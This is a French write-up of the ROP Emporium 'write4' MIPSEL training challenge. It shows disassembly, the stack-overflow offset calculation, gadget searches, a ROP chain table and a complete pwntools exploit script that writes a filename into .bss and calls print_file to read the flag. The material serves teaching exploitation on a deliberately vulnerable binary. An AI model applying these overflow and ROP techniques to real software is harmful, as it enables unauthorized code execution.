Contents

Ropemporium mipsel write4

write4 mipsel

Introduction.

Le pitch de cet exercie se trouve sur cette page :

write4

La fonction vulnérable se trouve dans la librairie qui contient aussi une fonction print_file qui dit nous permettre d’afficher le flag.

IL nous faut au préalable ecrire le nome du fichier ne mémoire

Découverte

Contenu du challenge

-rw-r--r-- 1 jce jce   33  2 juil.  2020 flag.txt
-rwxr-xr-x 1 jce jce 7532  8 juil.  2020 libwrite4_mipsel.so
-rwxr-xr-x 1 jce jce 7948  8 juil.  2020 write4_mipsel

Le challenge contient juste 3 fichiers, le programe, sa librairie et le flag.txt qui doit être lu.

Execution avec qemu

qemu-mipsel ./write4_mipsel
write4 by ROP Emporium
MIPS

Go ahead and give me the input already!

> OKOKOK
Thank you!

Analyse

La programme principal

La fonction main du programme appelle la fonction vulnérable présente dans le librairie dynamique.

┌ 76: int main (int32_t argc);
│           ; arg int32_t argc @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           0x00400890      e0ffbd27       addiu sp, sp, -0x20
│           0x00400894      1c00bfaf       sw ra, (var_1ch)
│           0x00400898      1800beaf       sw fp, (var_18h)
│           0x0040089c      25f0a003       move fp, sp
│           0x004008a0      42001c3c       lui gp, 0x42                ; 'B'
│           0x004008a4      10909c27       addiu gp, gp, -0x6ff0
│           0x004008a8      1000bcaf       sw gp, (var_10h)
│           0x004008ac      5080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x411060:4]=0x400a70 sym.imp.pwnme
│           0x004008b0      25c84000       move t9, v0
│           0x004008b4      09f82003       jalr t9
│           0x004008b8      00000000       nop
│           0x004008bc      1000dc8f       lw gp, (var_10h)
│           0x004008c0      25100000       move v0, zero
│           0x004008c4      25e8c003       move sp, fp
│           0x004008c8      1c00bf8f       lw ra, (var_1ch)
│           0x004008cc      1800be8f       lw fp, (var_18h)
│           0x004008d0      2000bd27       addiu sp, sp, 0x20
│           0x004008d4      0800e003       jr ra

Un fonction inutilisée est présente. Elle appelle la fonction importée de la librairie print_file. De ce fait cette fonction est accessible via la plt ou via l’adresse 0x00400900.

┌ 84: sym.usefulFunction (int32_t arg1, int32_t arg_10h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg1 @ a0
│           0x004008dc      e0ffbd27       addiu sp, sp, -0x20
│           0x004008e0      1c00bfaf       sw ra, (var_1ch)
│           0x004008e4      1800beaf       sw fp, (var_18h)
│           0x004008e8      25f0a003       move fp, sp
│           0x004008ec      42001c3c       lui gp, 0x42                ; 'B'
│           0x004008f0      10909c27       addiu gp, gp, -0x6ff0
│           0x004008f4      1000bcaf       sw gp, (var_10h)
│           0x004008f8      4000023c       lui v0, 0x40                ; '@'
│           0x004008fc      100b4424       addiu a0, v0, 0xb10         ; 0x400b10 ; "nonexistent" ; arg1 ; str.nonexistent
│           0x00400900      4080828f       lw v0, -sym.imp.print_file(gp) ; [0x411050:4]=0x400a90 sym.imp.print_file
│           0x00400904      25c84000       move t9, v0
│           0x00400908      09f82003       jalr t9
│           0x0040090c      00000000       nop
│           0x00400910      1000dc8f       lw gp, (var_10h)
│           0x00400914      00000000       nop
│           0x00400918      25e8c003       move sp, fp
│           0x0040091c      1c00bf8f       lw ra, (var_1ch)
│           0x00400920      1800be8f       lw fp, (var_18h)
│           0x00400924      2000bd27       addiu sp, sp, 0x20
│           0x00400928      0800e003       jr ra
└           0x0040092c      00000000       nop

Le programme embarque aussi des gadgets :

        ;-- usefulGadgets:
        0x00400930      0c00b98f       lw t9, 0xc(sp)
        0x00400934      0800a88f       lw t0, 8(sp)
        0x00400938      0400a98f       lw t1, 4(sp)
        0x0040093c      000009ad       sw t1, (t0)
        0x00400940      09f82003       jalr t9
        0x00400944      1000bd23       addi sp, sp, 0x10
        0x00400948      0800a48f       lw a0, 8(sp)
        0x0040094c      0400b98f       lw t9, 4(sp)
        0x00400950      09f82003       jalr t9

## La librairie libwrite4_mipsel.so.

La fonction vulnérable

┌ 316: sym.pwnme (int32_t arg1, int32_t arg3, int32_t arg_10h, int32_t arg_18h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; arg int32_t arg_18h @ fp+0x18
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_38h @ sp+0x38
│           ; var int32_t var_3ch @ sp+0x3c
│           ; arg int32_t arg1 @ a0
│           ; arg int32_t arg3 @ a2
│           0x00000860      02001c3c       lui gp, 2
│           0x00000864      90879c27       addiu gp, gp, -0x7870
│           0x00000868      21e09903       addu gp, gp, t9
│           0x0000086c      c0ffbd27       addiu sp, sp, -0x40
│           0x00000870      3c00bfaf       sw ra, (var_3ch)
│           0x00000874      3800beaf       sw fp, (var_38h)
│           0x00000878      25f0a003       move fp, sp
│           0x0000087c      1000bcaf       sw gp, (var_10h)
│           0x00000880      4080828f       lw v0, -0x7fc0(gp)          ; [0x11030:4]=0
│           0x00000884      0000428c       lw v0, (v0)
│           0x00000888      25380000       move a3, zero
│           0x0000088c      02000624       addiu a2, zero, 2           ; arg3
│           0x00000890      25280000       move a1, zero
│           0x00000894      25204000       move a0, v0
│           0x00000898      4880828f       lw v0, -sym.imp.setvbuf(gp) ; [0x11038:4]=0xb60 sym.imp.setvbuf
│           0x0000089c      25c84000       move t9, v0
│           0x000008a0      09f82003       jalr t9
│           0x000008a4      00000000       nop
│           0x000008a8      1000dc8f       lw gp, (var_10h)
│           0x000008ac      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x000008b0      f00b4424       addiu a0, v0, str.write4_by_ROP_Emporium ; 0xbf0 ; "write4 by ROP Emporium" ; arg1
│           0x000008b4      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xb40 sym.imp.puts
│           0x000008b8      25c84000       move t9, v0
│           0x000008bc      09f82003       jalr t9
│           0x000008c0      00000000       nop
│           0x000008c4      1000dc8f       lw gp, (var_10h)
│           0x000008c8      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x000008cc      080c4424       addiu a0, v0, str.MIPS_n    ; 0xc08 ; "MIPS\n" ; arg1
│           0x000008d0      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xb40 sym.imp.puts
│           0x000008d4      25c84000       move t9, v0
│           0x000008d8      09f82003       jalr t9
│           0x000008dc      00000000       nop
│           0x000008e0      1000dc8f       lw gp, (var_10h)
│           0x000008e4      20000624       addiu a2, zero, 0x20        ; arg3
│           0x000008e8      25280000       move a1, zero
│           0x000008ec      1800c227       addiu v0, fp, 0x18
│           0x000008f0      25204000       move a0, v0
│           0x000008f4      4480828f       lw v0, -sym.imp.memset(gp)  ; [0x11034:4]=0xb70 sym.imp.memset
│           0x000008f8      25c84000       move t9, v0
│           0x000008fc      09f82003       jalr t9
│           0x00000900      00000000       nop
│           0x00000904      1000dc8f       lw gp, (var_10h)
│           0x00000908      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x0000090c      100c4424       addiu a0, v0, str.Go_ahead_and_give_me_the_input_already__n
│           0x00000910      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xb40 sym.imp.puts
│           0x00000914      25c84000       move t9, v0
│           0x00000918      09f82003       jalr t9
│           0x0000091c      00000000       nop
│           0x00000920      1000dc8f       lw gp, (var_10h)
│           0x00000924      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x00000928      3c0c4424       addiu a0, v0, 0xc3c         ; arg1
│           0x0000092c      6080828f       lw v0, -sym.imp.printf(gp)  ; [0x11050:4]=0xb10 sym.imp.printf
│           0x00000930      25c84000       move t9, v0
│           0x00000934      09f82003       jalr t9
│           0x00000938      00000000       nop
│           0x0000093c      1000dc8f       lw gp, (var_10h)
│           0x00000940      00020624       addiu a2, zero, 0x200       ; arg3
│           0x00000944      1800c227       addiu v0, fp, 0x18
│           0x00000948      25284000       move a1, v0
│           0x0000094c      25200000       move a0, zero
│           0x00000950      6880828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x11058:4]=0xb00 sym.imp.read
│           0x00000954      25c84000       move t9, v0
│           0x00000958      09f82003       jalr t9
│           0x0000095c      00000000       nop
│           0x00000960      1000dc8f       lw gp, (var_10h)
│           0x00000964      2880828f       lw v0, -0x7fd8(gp)          ; [0x11018:4]=0
│           0x00000968      400c4424       addiu a0, v0, str.Thank_you_ ; 0xc40 ; "Thank you!"
│           0x0000096c      5480828f       lw v0, -sym.imp.puts(gp)    ; [0x11044:4]=0xb40 sym.imp.puts
│           0x00000970      25c84000       move t9, v0
│           0x00000974      09f82003       jalr t9
│           0x00000978      00000000       nop
│           0x0000097c      1000dc8f       lw gp, (var_10h)
│           0x00000980      00000000       nop
│           0x00000984      25e8c003       move sp, fp
│           0x00000988      3c00bf8f       lw ra, (var_3ch)
│           0x0000098c      3800be8f       lw fp, (var_38h)
│           0x00000990      4000bd27       addiu sp, sp, 0x40
│           0x00000994      0800e003       jr ra
└           0x00000998      00000000       nop

Comme d’habitude on s’intéresse a l’operation de lecture du message :

On lit 512 caracteres

    │           0x00000940      00020624       addiu a2, zero, 0x200       ; arg3

A partir de l’adresse fp+0x18

    │           0x00000944      1800c227       addiu v0, fp, 0x18
    │           0x00000948      25284000       move a1, v0
    │           0x0000094c      25200000       move a0, zero
    │           0x00000950      6880828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x11058:4]=0xb00 sym.imp.read
    │           0x00000954      25c84000       move t9, v0
    │           0x00000958      09f82003       jalr t9
    │           0x0000095c      00000000       nop

Dans le prologue, au la création d’une pile locale de 0x40 (64) octets et fp point le sommet de la pile.

    │           0x0000086c      c0ffbd27       addiu sp, sp, -0x40
    │           0x00000870      3c00bfaf       sw ra, (var_3ch)
    │           0x00000874      3800beaf       sw fp, (var_38h)
    │           0x00000878      25f0a003       move fp, sp

ET la sauvegarde de l’adresse de retour en sp+0x3c │ 0x00000870 3c00bfaf sw ra, (var_3ch) │ 0x00000874 3800beaf sw fp, (var_38h) Le buffer fp+0x18 se trouve à 0x3c - 0x18 = 0x24 la sauvegarde de ra.

L’offset de débordement de notre message est donc de 0x24 (36) octets.

Contruction de l’attaque

Recherche d’une zone mémoire inscriptible

On affiche la lsite des sectiona avec radare2 ainsi

[0x00000860]> iS
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ----
1   0x00000138   0x18 0x00000138   0x18 -r-- .MIPS.abiflags
2   0x00000150   0x18 0x00000150   0x18 -r-- .reginfo
3   0x00000168   0x24 0x00000168   0x24 -r-- .note.gnu.build-id
4   0x0000018c   0xe0 0x0000018c   0xe0 -r-- .dynamic
5   0x0000026c   0xb8 0x0000026c   0xb8 -r-- .hash
6   0x00000324  0x1b0 0x00000324  0x1b0 -r-- .dynsym
7   0x000004d4  0x104 0x000004d4  0x104 -r-- .dynstr
8   0x000005d8   0x36 0x000005d8   0x36 -r-- .gnu.version
9   0x00000610   0x30 0x00000610   0x30 -r-- .gnu.version_r
10  0x00000640   0x10 0x00000640   0x10 -r-- .rel.dyn
11  0x00000650   0x84 0x00000650   0x84 -r-x .init
12  0x000006e0  0x420 0x000006e0  0x420 -r-x .text
13  0x00000b00   0xa0 0x00000b00   0xa0 -r-x .MIPS.stubs
14  0x00000ba0   0x48 0x00000ba0   0x48 -r-x .fini
15  0x00000bf0   0x80 0x00000bf0   0x80 -r-- .rodata
16  0x00000c70    0x4 0x00000c70    0x4 -r-- .eh_frame
17  0x00000ff0    0x8 0x00010ff0    0x8 -rw- .ctors
18  0x00000ff8    0x8 0x00010ff8    0x8 -rw- .dtors
19  0x00001000   0x60 0x00011000   0x60 -rw- .got
20  0x00001060    0x4 0x00011060    0x4 -rw- .sdata
21  0x00001064    0x0 0x00011070   0x10 -rw- .bss       <== ici
22  0x00001064   0x29 0x00000000   0x29 ---- .comment
23  0x00001090   0x40 0x00000000   0x40 ---- .pdr
24  0x000010d0   0x10 0x00000000   0x10 ---- .gnu.attributes
25  0x000010e0    0x0 0x00000000    0x0 ---- .mdebug.abi32
26  0x000010e0  0x490 0x00000000  0x490 ---- .symtab
27  0x00001570  0x26d 0x00000000  0x26d ---- .strtab
28  0x000017dd  0x105 0x00000000  0x105 ---- .shstrtab

On retient la section section bss de taille 16.

Construction de la chaine de ROP

### Recherche d’un gadget d’ecriture

En recherchant un gadget avec l’instruction sw :

ROPgadget --binary write4_mipsel --depth 5|grep sw
...
0x00400930 :

On retrouve le gadget présent dans la référence usefulGadget.

Le gadget permet

  • lw t9, 0xc(sp) de charger t9 en vu du jump en fin de gadget
  • lw t0, 8(sp) de charger une adresse cible dans t0
  • lw t1, 4(sp) de charger une valeur dans t1
  • sw t1, (t0) d’ecrire cette valeur dans t0
  • jalr t9 enfin d’appeller l’adresse chargée dans t9
  • addi sp, sp, 0x10 en incrémentant la pile de 16 donc 4 mots.

Recherche d’ungadget de chargement a0

On peut recherche un gadget lw (load word).

# ROPgadget --binary write4_mipsel --depth 5|grep "lw \$a0"
0x00400944 : addi $sp, $sp, 0x10 ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400940 : jalr $t9 ; addi $sp, $sp, 0x10 ; lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

Et on trouve celui de la référence usefulGadget

La chaine de ROP

Nous avons besoin de l’adresse de print_file dans la PLT

# readelf --dyn-syms write4_mipsel |grep print_file
16: 00400a90     0 FUNC    GLOBAL DEFAULT  UND print_file

La chaine est constituée de trois étape

  • ecriture de “flag” dans .bss
  • ecriture de “.txt” dans .bss+4
  • appel de printf(@bss)
ROP entry gadget comment
    Ecriture de flag dans .bss
0x00400930  lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
0xdeadbeef junk
0x67616c66 ‘flag’ pour `t1
0x00001064 @.bss pour t0
0x00400930 lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10 Pour t9 en vue d’ecrire la seconde partie
    Ecriture de “.txt”" dans .bss+4
0xdeadbeef junk
0x7478742e ‘.txt’ pour t1
0x00001064 @.bss+4 pour t0
0x00400948 lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop Pour t9
    Appel print_file(@.bss)
0xdeadbeef junk
0x00400a90 print_file@plt pour t9
0x00001064 @.bss pour a0

Exploitation

Script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time


# ROPemporium write4 MIPSEL

# Set up pwntools for the correct architecture
elf = context.binary = ELF('write4_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

gs='''
b *pwnme+296
c
'''

# Gadgets
# lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ; addi $sp, $sp, 0x10
g_write = 0x00400930

# lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop
g_set_a0_and_call = 0x00400948

if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


print_file = elf.plt["print_file"]
bssaddr = elf.get_section_by_name('.bss').header['sh_addr']

log.info(f"{bssaddr=:x}")
log.info(f"{print_file=:x}")

offset=0x24

PL=b"A"*offset
# first gadget write "flag"
PL+=p32(g_write)
PL+=p32(0xdeadbeef)        # junk
PL+=b'flag'                # t1
PL+=p32(bssaddr)           # t0
PL+=p32(g_write)           # t9 => next gadget

# Second gadget write ".txt"
PL+=p32(0xf00df00d) 	   # junk
PL+=b'.txt'                # t1
PL+=p32(bssaddr+4)         # t0
PL+=p32(g_set_a0_and_call) # t9 => next gadget

# call print_file(@.bss)
PL+=p32(0xdeadbeef)        # junk
PL+=p32(print_file)         # t9
PL+=p32(bssaddr)            # a0

io.sendlineafter(b"> ",PL)

io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()